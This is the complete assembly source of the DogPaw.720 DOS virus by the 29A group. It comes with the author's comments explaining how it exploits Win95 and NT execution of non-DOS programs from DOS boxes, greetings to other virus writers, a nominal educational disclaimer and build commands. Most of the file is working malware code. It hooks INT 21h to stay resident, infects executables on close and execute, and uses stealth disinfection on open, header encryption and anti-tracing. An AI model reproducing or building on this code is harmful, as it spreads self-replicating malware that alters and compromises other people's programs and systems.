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MalwareSourceCode/MSDOS/D-Index/Virus.MSDOS.Unknown.dogpaw.asm

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;
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; DogPaw.720 <20><><EFBFBD> <20><><EFBFBD> <20><><EFBFBD> <20><><EFBFBD> <20><><EFBFBD> <20><><EFBFBD>
; by Jacky Qwerty/29A <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD> <20><><EFBFBD>
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD> <20><><EFBFBD>
;
; This simple DOS virus exploits a certain feature graciosly implemented for
; us by Microsoft and which is present in Win95, WinNT and probably OS/2. It
; has to do with non-DOS aplicationz run from DOS boxez opened under these
; 32-bit systemz. It doesnt aply to Win3.1, tho.
;
; In Win3.1, whenever u try to execute a Win3.1 aplication from a DOS box,
; the comon frustratin mesage "This program cannot be run in DOS mode" or
; "This program requires Microsoft Windows" apeared. The guyz at Microsoft
; always lookin for enhancementz finaly made it right with NT and Win95 and
; wisely put an end to this nuisance. Under these 32-bit systemz, whenever u
; execute a non-DOS aplication from a DOS box, the system loader no longer
; executes the DOS stub program which displays such mesage, it actually ends
; up executin the real Win3.1 or Win32 aplication just as if u had double-
; clicked the program on yer desktop to execute it. But what has this thing
; got to do with us? Can this feature be used in a virus? the answer is yes.
;
; I wrote this virus just to ilustrate how the above feature can be cleverly
; used in a virus. For this reason, DogPaw lacks all kindz of poly, retro,
; antidebug, etc. but it implements full stealth tho, and encrypts data of
; the original host, just to anoy AVerz a bit #8P. I'd like to thank "Casio"
; from undernet #virus as he seems to be the first one havin exploited this.
;
;
; Technical description
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; DogPaw is a resident full stealth EXE infector of DOS, Win3.1, Win95, Win-
: NT and OS/2 programz. It infects filez on close and execute and disinfects
; them on open. I dont like this kind of stealth at all but it was more than
; necesary in order to exploit the forementioned feature.
;
; When DogPaw infects a file, it encrypts the first 720 bytez of the host,
; includin its MZ header and stores it at the end of the file, then it over-
; writes the first 720 bytez of the host with the virus code itself, which
; is really DOS program code. This way what the virus really does is conver-
; tin Win3.1, Win95, WinNT and OS/2 programz into simple DOS programz con-
; tainin virus code. This doesnt mean that such filez are trojanized or da-
; maged, they are fully functional after infection, read on.
;
; When a DogPaw-infected file is executed, the system treats it as a genuine
; DOS aplication. This is becoz the virus overwrites the pointer at 3Ch in
; the MZ header which pointed to the real NewEXE header (NE, PE, LX, etc).
; This way the virus executes as a DOS 16-bit program and plants a resident
; copy in DOS memory. After this the virus has to execute the original apli-
; cation, be it a Win3.1, Win32 or an OS/2 program. For this purpose, it di-
; sinfects the host by decryptin the original data at the end of file and
; writes it back to the begin of file previosly overwriten with virus code.
; Next the virus executes the original host and, becoz of the above feature,
; the system finally executes the original Win3.1, Win32 or OS/2 aplication
; just as if it had been executed from outside a DOS box.
;
; The disadvantagez of this method are plain to see. Microsoft obviosly dont
; want people to write clumsy DOS programz, tho it is still suportin old DOS
; aplicationz from inside its 32-bit systemz. This, acordin to Microsoft, is
; needed in order to make the migration from DOS to Win32 less painfully and
; troublesome. But once this DOS compatibility disapears from these systemz,
; those nonDOS programz infected by this virus wont be able to run or spread
; further from inside these 32-bit OS's. As u can see its not wise at all to
; still depend on obsolete goofie DOS in order to infect 32-bit aplicationz.
; For this purpose we must interact directly with the 32-bit file format, ie
; the PE format itself. There is no way to circumvent this in the future ;)
;
;
; A dog paw tale
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; Some weekz ago i stole my dady's car to take a short ride around the block
; and i was so nervous that i almost crashed twice: the first time with a
; huge big garbage truck (yea even tho i wear glasez) and the second time
; with a little grandma crossin down the street. Shit.. that was enough for
; the day, i didnt want to kill anybody nor get killed at worst, so i deci-
; ded to go back home. I turned on the radio and started to sing "the side-
; winder sleeps tonight" by R.E.M. Yea i was havin a great time even tho i
; had been about to crash twice. Why did i have to open my mouth! Just when
; i was about to turn right at the next block i heard a suden "crash" follo-
; wed by two "squeeze.." "squeeze.." feelin two "up-and-down's" on the right
; tirez. Shit what da hell was that..? i looked back thru the front mirror
; just to know the answer. On the road i had left behind, there lied a poor
; crushed dog. Ohh shit i crushed a dog! Now from time to time when that
; scene comes to my mind, all i see is that unfortunate squeezed dog wavin
; goodbye with his paw.. the poor dog paw. #8I
;
;
; Greetingz
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; And finaly the greetingz go to:
;
; Casio ......... Yer Rusty was kewl.. but throw 'way that ASIC dude!
; Tcp/29A ....... Wooow! yer disasembliez rock man.. really rock!
; Spanska ....... Dont get drunk too often ;) greetingz to Elvira..
; Reptile/29A ... Not even a garden full of ganja can stop ya heh #8S
; Rilo .......... Confess budie: Rilo Drunkie + Belch = Car crash ;)
; Liquiz ........ Still watin to see that poly of yourz.. #8)
;
;
; Disclaimer
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; This source code is for educational purposez only. The author is not res-
; ponsible for any problemz caused due to the assembly of this file.
;
;
; Compiling it
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; tasm -ml -m5 -q -zn dogpaw.asm
; tlink -t -x dogpaw, dogpaw.exe
;
;
; (c) 1997 Jacky Qwerty/29A.
.model tiny
.286
include useful.inc
include MZ.inc
v_mark equ 'GD' ;virus mark
v_size_bytes equ v_end - v_start ;virus size in bytez
b_size_bytes equ v_size_bytes ;bufer size in bytez
s_size_bytes equ 100h ;stack size in bytez
v_size_words equ (v_size_bytes + 1) / 2 ;virus size in wordz
v_size_paras equ (v_size_bytes + 15) / 16 ;virus size in paragraphz
v_size_sects equ (v_size_bytes + 511) / 512 ;virus size in sectorz
v_size_kilos equ (v_size_bytes + 1023) / 1024 ;virus size in kilobytez
v_size_div_512 equ v_size_bytes / 512 ;virus size div 512
v_size_mod_512 equ v_size_bytes \ ;virus size mod 512
- (512 * v_size_div_512) ;
m_size_bytes equ v_size_bytes + (b_start \ ;memory size in bytez
- v_end) + b_size_bytes \ ;
+ s_size_bytes ;
m_size_words equ (m_size_bytes + 1) / 2 ;memory size in wordz
m_size_paras equ (m_size_bytes + 15) / 16 ;memory size in paragraphz
.code
org 100h
v_start:
MZ_Header IMAGE_DOS_HEADER < \ ;MZ header start
IMAGE_DOS_SIGNATURE, \ ;MZ_magic
v_size_mod_512, \ ;MZ_cblp
v_size_sects, \ ;MZ_cp
0, \ ;MZ_crlc
0, \ ;NZ_cparhdr
m_size_paras, \ ;MZ_minalloc
m_size_paras, \ ;MZ_maxalloc
-11h, \ ;MZ_ss
(m_size_bytes + 111h) and -2 \ ;MZ_sp
v_mark, \ ;MZ_csum
entry_point, \ ;MZ_ip
-10h \ ;MZ_cs
>
org (v_start + MZ_lfarlc)
old_MZ_low_ptr dw 0
old_MZ_high_ptr dw 0
c_start:
Copyright db 'D' xor 66h
db 'o' xor 66h
db 'g' xor 66h
db 'P' xor 66h
db 'a' xor 66h
db 'w' xor 66h
db ' ' xor 66h
db 'J' xor 66h
db 'x' xor 66h
db 'Q' xor 66h
db '/' xor 66h
db '2' xor 66h
db '9' xor 66h
db 'A' xor 66h
db 0 xor 66h
common_clean_ds:
push cs
pop ds
mov ds:[flag],al
common_clean: test al,? ;clear carry (clean file)
org $ - 1
common_infect: stc ;set carry (infect file)
pusha
mov bp,offset clean + 1
jnc common
mov si,dx
mov bp,offset infect + 1
cld
@endsz
std
lodsw
lodsw
cld
and al,not 20h
add al,-'E' ;check for EXE extension
jnz to_popa_ret
lodsw
and ax,not 2020h
add ax,-'XE'
jnz to_popa_ret
common: ;this function cleans or infects a file
;on exit:
; flag = 0, if error
mov ax,3D00h
call call_int_21 ;open file in read/only mode
jc to_popa_ret
xchg bx,ax
push ds dx
call ptr2begin ;move file pointer to begin of file
jc end_close
push cs
pop ds
call read ;read first 720 bytez
jc end_close
cmp word ptr [si.MZ_csum],v_mark ;check infection
jnz end_close_clc
mov ax,[si.MZ_magic]
cmp word ptr [si.MZ_maxalloc],m_size_paras
jnz end_close_clc
add ax,-IMAGE_DOS_SIGNATURE ;check MZ signature
end_close_clc: clc
end_close: pushf
mov ah,3Eh
call call_int_21 ;close file
pop ax
dec bp
lahf
pop dx
or al,ah
shl ah,4
pop ds
xor ah,al
sahf
jbe end_popa_ret ;if (carry or zero)
mov ax,4300h ;save old file atributes
call call_int_21
to_popa_ret: jc end_popa_ret
push ds
mov si,4*24h-80h
call get_int
pop ds
pusha ;ax, bx, si
mov bx,cs
mov ax,offset new_24
call set_int
push cx
mov cl,20h ;set read/write file atributes
mov ax,4301h
call call_int_21
pop cx
jc end_2popa_ret
mov ax,3D02h ;open file in read/write mode
call call_int_21
jc restore_atrib
pusha ;cx, dx
xchg bx,ax
mov ax,5700h ;get data & time
call call_int_21
jc close_file
push ds es
pusha
push cs cs
pop ds es
mov si,offset b_start
lea di,[si + old_MZ_low_ptr - v_start]
call bp ;clean or infect
jc err_file
mov ds:[flag],al ;al!=0 (check this while debugin)
err_file: popa
pop es ds
mov ax,5701h ;set data & time
call call_int_21
close_file: mov ah,3Eh ;close file
call call_int_21
popa
restore_atrib: mov ax,4301h ;restore old atributes
call call_int_21
end_2popa_ret: popa
call set_int
end_popa_ret: popa
end_ret: ret
infect proc ;infects a file
mov cx,b_size_bytes
cld ;encrypt old MZ header
encrypt: lodsb
ror al,cl
xor al,0C5h
mov [si-1],al
loop encrypt
mov ax,4202h ;move file pointer to end of file
cwd
call call_int_21
jc end_ret
pusha
call write ;write old MZ header to end of file
jc end_popa_ret
lodsw ;move virus code to buffer area
xchg dx,di
mov si,offset v_start
mov ds:[old_MZ_Magic],ax
cld
move_virus: lodsb
stosb
loop move_virus
popa
stosw ;hardcode file location in virus code
xchg ax,dx ;
stosw ;
jmp ptr2new ;move file pointer to actual MZ header
infect endp
get_int: ;gets an interrupt vector
;on entry:
; SI = int number * 4
; DS = 0
;on exit:
; DX:AX = int vector adress retrieved
push 8
pop ds
mov bx,[si+2]
mov ax,[si]
ret
clean proc ;cleans an infected file
mov cx,[di + 2] ;old_MZ_high_ptr
mov dx,[di] ;old_MZ_low_ptr
pusha
call ptr2old ;move file pointer to old MZ header
jc end_popa_ret
call read ;read old MZ header
jc end_popa_ret
cmp word ptr [si.MZ_magic],1234h ;check old MZ header
old_MZ_Magic = word ptr $-2
stc
jnz end_popa_ret
cld ;decrypt old MZ header
decrypt: lodsb
xor al,0C5h
rol al,cl
mov [si-1],al
loop decrypt
popa
call ptr2old ;move file pointer to old MZ header
jc ptr2new
sub cx,cx
mov ah,40h ;remove old MZ header from end of file
call call_int_21
ptr2new: call ptr2begin ;move file pointer to actual MZ header
jc end_clean
write: mov ah,40h ;write MZ header
cmp ax,?
org $-2
read: mov ah,3Fh ;read MZ header
mov dx,offset b_start
mov cx,b_size_bytes
call call_int_21
jc end_rd_wr
cmp ax,cx
mov si,dx
end_rd_wr:
end_clean: ret
clean endp
entry_point: mov ax,30AFh
x = 4*21h-80h
push x
mov di,offset old_int_21 ;check if already installed
int 21h
cld
pop si
add al,-0AFh
mov bp,si
jz already ;yea we're instaled, jump
push ds ;hook int 21h & stay resident
call get_int
mov [1+bp-x+si-x],ds
stosw
pop ax
xchg ax,bx
stosw
mov ax,offset new_int_21
call set_int
already: push di
mov ds,[2Ch+10h+bp-x] ;get program filename
get_prog: inc si
cmp [si],bp
jnc get_prog
lea si,[si+4+bp-x]
pop dx
@copysz
call common_clean_ds ;clean infected program
exec: cmp al,ds:[flag] ;prevent circular execution
jz exit
push ds
mov bx,offset p_block ;execute program
mov ah,0Dh
call call_int_21
mov [bx+4],ds
mov [bx+8],cs
pusha
mov [bx+0Ch],es
mov ax,4B00h
call call_int_21
popa
mov ah,4Dh
call call_int_21
pop ds
call common_infect
exit: mov ah,4Ch ;exit to DOS
jmp call_int_21
p_block dw 0 ;parameter block to be used by 4B00h
dw 80h
dw ?
dw 5Ch
dw ?
dw 6Ch
dw ?
new_24: mov al,3
iret
ptr2begin: xor dx,dx ;move file pointer to actual MZ header
mov cx,dx
ptr2old: mov ax,4200h
call_int_21: pushf ;call old INT 21h
push cs
call jmp_int_21
ret
set_int: ;sets an interrupt vector
;on entry:
; SI = int number * 4
; DS = 0
; DX:AX = int vector adress to store
push ds
push 8
pop ds
mov [si+2],bx
mov [si],ax
pop ds
ret
infect_on_close: ;infect on file close
push ds es
pusha
mov bp,sp
push cs bx
mov ax,1220h
int 2Fh ;use file system tablez
jc fail_dcb
mov bl,es:[di]
cmp bl,-1
cmc
jc fail_dcb
mov ax,1216h
int 2Fh
fail_dcb: pop bx ds
pushf
mov ah,3Eh
call call_int_21 ;close file
mov [bp.Pusha_ax],ax
pop ax
jc fail_close
shr al,1
jc fail_close_clc
mov ax,':'*100h + mask BDA_DriveNumber
and al,byte ptr es:[di.DCB_DeviceAtribs]
mov dl,al
sub al,-'A'
mov si,offset program_name + 3
mov [si-3],ax
inc dx
mov ah,47h
call call_int_21 ;get current directory
jc fail_close_clc
cld
dec si
push es si ds
lea si,[di.DCB_FileName]
mov al,'\'
pop es di
stosb
add al,-'\' ; al=0
scasb
jnz $ - 1
sub al,-'\' ; al='\'
dec di
mov cx,size DCB_FileName + 1
cmp al,[di-1]
pop ds
push si
jz $+3
copy_name: stosb ;atach file name to path
lodsb
cmp al,20h
loopnz copy_name
pop si
mov al,'.'
mov cl,size DCB_FileExt + 1
sub si,- size DCB_FileName
copy_ext: stosb ;atach file extension to file name
lodsb
cmp al,20h
loopnz copy_ext
xor al,al
stosb
push cs
pop ds
mov dx,offset program_name
call common_infect ;infect the file
fail_close_clc: clc
fail_close: popa
pop es ds
retf 2
on_close: jmp infect_on_close
self_check: cmp di,offset old_int_21
jnz jmp_int_21
mov si,di
cld
movs word ptr es:[di],cs:[si] ;copy old int 21h
movs word ptr es:[di],cs:[si] ;
go_iret: iret
new_int_21: cli ;new INT 21h service routine
push ax ;antitrace.. dont fuck with me
push -1
inc sp
dec sp
pop ax
inc ax
pop ax
sti
jnz go_iret
chk_3E: cmp ah,3Eh ;close?
jz on_close
chk_30: cmp ax,30AFh ;are we already installed?
jz self_check
chk_4B: cmp ah,4Bh ;execute?
jnz chk_3D
call common_infect
chk_3D: cmp ah,3Dh ;open?
jnz jmp_int_21
call common_clean
jmp_int_21: db 0EAh ;JMP SEG:OFF opcode
v_end: ;virus end on filez
old_int_21 dd ? ;old INT 21h vector
program_name db 80h dup (?) ;buffer to hold program namez
flag db ? ;used to prevent circular execution
b_start: ;start of internal buffer
end v_start
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